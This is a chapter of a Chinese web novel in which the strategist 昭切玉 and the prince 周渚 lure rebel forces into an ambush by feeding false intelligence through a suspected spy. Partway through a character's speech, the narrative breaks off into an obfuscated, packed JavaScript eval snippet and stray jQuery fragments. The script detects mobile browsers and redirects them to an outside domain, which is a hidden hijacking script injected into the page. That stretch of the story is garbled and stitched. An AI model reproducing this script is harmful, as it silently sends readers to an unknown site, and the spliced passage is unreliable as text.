17.毒饵

作品:《穿书后她手撕原剧本

    “难道王爷不想要我这样的下属吗?”昭切玉反问。


    “我还是更喜欢在王府的你,不会对我产生任何威胁,”周渚向前一步捏住她的下巴,“那时候只要我一声令下,你便会死无葬身之地,没有谁会有异议。”


    “位置,是王爷给的;权,也是王爷给的,”昭切玉轻轻推开周渚的手,“王爷嘴上说要杀我,其实也是心甘情愿用我。”


    周渚擒住她的手腕,说:“你把自己的位置放得太高了。”


    “是王爷需要我,”昭切玉没有挣脱,反而向前近一步,“多谢王爷将我捧到这个位置。”


    “那你说你发现了什么?”周渚松开手,就近找了个凳子坐下。


    昭切玉说:“我疑心观澜书院爆炸是障眼法,地下‘龙王’未必已被摧毁,景岱洲也未必身死。”


    周渚“哦?”了一声。


    “我刚回来之时,我以为是我命硬,所以没死在赵启泰手上,”昭切玉说,“后来一想,或许赵启泰希望我活着回来。”


    周渚叫她继续往下说。


    “我要带回观澜书院爆炸的消息,让大家都以为这是赵启泰的狠决之举,如此一来,我们便会放松对地下火油线的警惕,”昭切玉条理清晰,“而且我还带回了景台柳。景台柳无枝可依,她父亲被胁迫甚至因此身死的故事也展示出她的经历悲惨,恰好她掌握重要情报,还愿意为王爷效力,这个出现实在是太完美了。”


    昭切玉说完后便向周渚跪下,磕头说:“是属下疏漏,带回了一个奸细。”


    “你的推论太大胆了,”周渚垂眸把玩着一只瓷杯,“倘若一切真如你所说,那此刻我们便是鱼肉,叛军是刀俎。”


    昭切玉没有站起来,她说:“这些事,其实王爷先比我意识到吧?如若说王爷对此没有任何行动,我是不信的。”


    周渚放下瓷杯,盯着昭切玉说:“你爱揣测我想法的习惯还是没变。”


    “那属下猜对与否?”昭切玉问。


    “你猜对了,”周渚说,“你还没有归营之时,我除了派人去寻你,还分了批秘阁卫去往观澜书院。”


    “王爷既然愿意告诉我,说明此事您并未怀疑我,”昭切玉说。


    “你昭切玉确实不是听话的木偶,但是你每次逾矩、越权,都是我准允的,”周渚抬了抬手,示意她站起来,“你想做什么,什么会做,我比景台柳清楚。”


    昭切玉一笑:“她想让王爷疑心我,不如我们将计就计。”


    聊了几句后,周渚便掀帐离去,脸上还挂着不悦的表情。凡是见到周渚这个模样的士兵,都开始担心这个没上任多久的昭长史。


    如昭切玉所料,景台柳来看她了,是周渚允许的。


    “你来做什么?”昭切玉率先开口。


    “我想给长史送些吃食来,”景台柳将手中提的食盒搁在桌上,“我怕他们不给你吃食,特意去讨了碗掺着肉沫的粥。”


    “你知道我为什么从不喝你递来的茶吗?”昭切玉没有抬眼看她,“因为我曾经喝了柳承裕一杯茶,转眼便中毒晕了。”


    “你不喝我的茶,是因为你一直觉得我会骗你吗?”景台柳问。


    “你不会吗?”昭切玉声音平静,“如今王爷认定我勾结叛军,软禁我,这难道不是你的杰作吗?”


    景台柳脸上浮出一个温柔的笑:“我只是个弱女子,哪里懂你说的这些。”


    “景姑娘,迷途知返。”昭切玉说。


    “长史病了,还是先好生将养着吧,台柳不打扰了。”景台柳看了眼昭切玉,然后头也不回地离去。


    这几天昭切玉没有轻松多少,一是外边替她求情的声音总能落入她耳中,二是该看的文书还是被偷偷送进来了。


    本来以为事情会顺利进展,谁料阙头突然被抓了。


    他喊冤喊得震天响,昭切玉马上去和帐外的士兵打听。他们面面相觑了一会,最后都选择了沉默。


    这叫昭切玉更急了,幸好裴勤将纸条夹在食盒中,悄悄地把消息送了进来。


    刚展开那张纸,她便皱下了眉头——伤兵营的药材出了问题,正是拿昭切玉私银买的那批。


    这摆明了是要彻底毁了昭切玉名声。


    昭切玉没有犹豫,立马写下两份纸条。一份交给裴勤,请她暂时压一压舆论;一份让裴勤转交周渚,请他在暗地里彻查此事。


    她现在不能做出大动作,一切都只能悄悄进行。


    这事压下去难,毕竟一事一事接踵而至,总会有人开始质疑她之前的行为。人言可畏,这风向突然就转变了。


    这风满楼了,没过多久山雨便来了。


    昭切玉正翻动着纸页,忽然听见头顶传来一阵急促的“哗啦”声,正是瞭望台上的士兵奋力摇铃!


    她手一顿,毫不犹豫地起身向帐外望去——东南侧腾起一缕黑烟,正是斥候约定好的警示烽烟,正顺着风往大营飘来。


    叛军果然来了!


    景台柳必然打探出来了,那处常有落石,王爷认为大规模军队无法快速通过,所以有所松懈。尤其是丑时左右,哨位仅有零星老卒值守,警惕性尤其低。


    一旦从此处突破,叛军可直接绕过郦盂崖艰苦的正面攻坚战,直插周渚大军“心脏”。


    很可惜的是,这是昭切玉和周渚命人传出去的。


    而且景台柳那一计,一让所有人都以为周渚不愿再用昭切玉,二让对方以为我军军心动荡。这种种事件,足以让赵启泰耐不住性子,强攻过来。


    没等昭切玉先向守帐的士兵开口,帐外便传来杂乱的马蹄声。来者被士兵挡下,但她直接一把将其推开,掀开帐帘说:“王爷有命,请昭长史速去主帐!”


    无论王爷要她干什么都不重要,重要的是王爷愿意用她!


    她趁此机会,立马站出来,将手中握着的手帕高举起来:“那日在伤兵营,我昭切玉并非为了与赵贼通信,而是为了揪出内奸!我在那里发现了景台柳的手帕,这是物证!至于药材一事,我与阙头本意是为了帮大家治病,出此一事实


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16309135|182646||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    乃意料之外,若诸位信任,我必查明凶手!”


    周渚这么一做,昭切玉这么一说,原来犹豫不定的士兵都目光坚定,疑心消除了大半。


    昭切玉没有过多在帐前停留,立马跟着裴勤去了主帐。


    快步前往主帐的路途中,裴勤问:“你那日捡到了手帕,为何不直接说?”


    “假的,”昭切玉擦了擦额头的汗,“他们才不在乎手帕的真假,最主要的是王爷要用我,其次是我的名望,手帕只是个由头。”


    主帐内烛火燃着,仍然能听到远处隐约传来的厮杀声。周渚站在沙盘前,看着郦盂崖那处险要。昭切玉手攥成了拳,但表面还保持着镇静。


    “报——!”一名斥候边喊边跑进帐中,声音带着激动,“禀报王爷!叛军先锋已全部涌入郦盂崖东南侧,其后军正在快速跟进。”


    周渚并没有立刻下令,而是侧头看向了昭切玉。


    昭切玉攥着的手终于松开,说:“王爷,可以收网了。时机稍纵即逝。”


    周渚不再犹豫,斩钉截铁地说:“传令郭林之郭副将,依计行事!封死入口,瓮中捉鳖!”


    “是!”守在旁边的士兵飞奔而出。


    昭切玉能清晰地听到自己心脏跳动的声音——她和周渚这一计,将赵启泰骗成功了!


    在此之前,周渚已在郦盂崖东南侧充分埋伏了士兵,并且由秘阁卫查到的火油经过检查后,也用于此战。以其人之道还治彼身,这是昭切玉最想干的事。


    这计划虽好,但战场瞬息万变,任何意外都可能让功亏一篑。昭切玉手上仍冒着汗,不敢放松下来。


    煎熬,煎熬。


    昭切玉望着帐外,等着讯息的传来。


    突然,东南方向隐约传来一声“轰隆”响,昭切玉感觉脚下的地面都被震得颤抖!


    紧接着,更加剧烈的爆炸声与惨叫声从远方传来。


    昭切玉呼吸一滞。


    她想要天下太平,但是这条路注定要无数血泪铺就。往后海晏河清之时再回望如今,想必还能听到百姓的祈愿、战士的呼喊。


    她怔怔地望着声音的来源,不知在想什么。


    没过多久,又一名士兵冲入帐内,脸上挂着藏不住的欣喜:“报!王爷!副将下令动用火油,叛军主力已成瓮中之鳖,死伤惨重!”


    昭切玉瞬间松了口气,扶着桌子缓缓坐下。


    周渚猛地一拍沙盘边缘:“好!”


    昭切玉坐下后,袖中攥着的手指微微松开。她低头一看,那掌心已被指甲掐出红痕。


    这便是他们的毒饵计划。


    而它最关键的一步,成功了!


    就在此时,一阵远比之前所有爆炸都更加恐怖的巨响,猛地从沧洲方向传来!那声音甚至暂时压过了东南方向的厮杀声!


    “是观澜书院的方向!”昭切玉立马拍桌而起。


    帐内众人脸色皆大变。


    “书院方向?!”裴勤失声道。


    这爆炸绝非意料之内!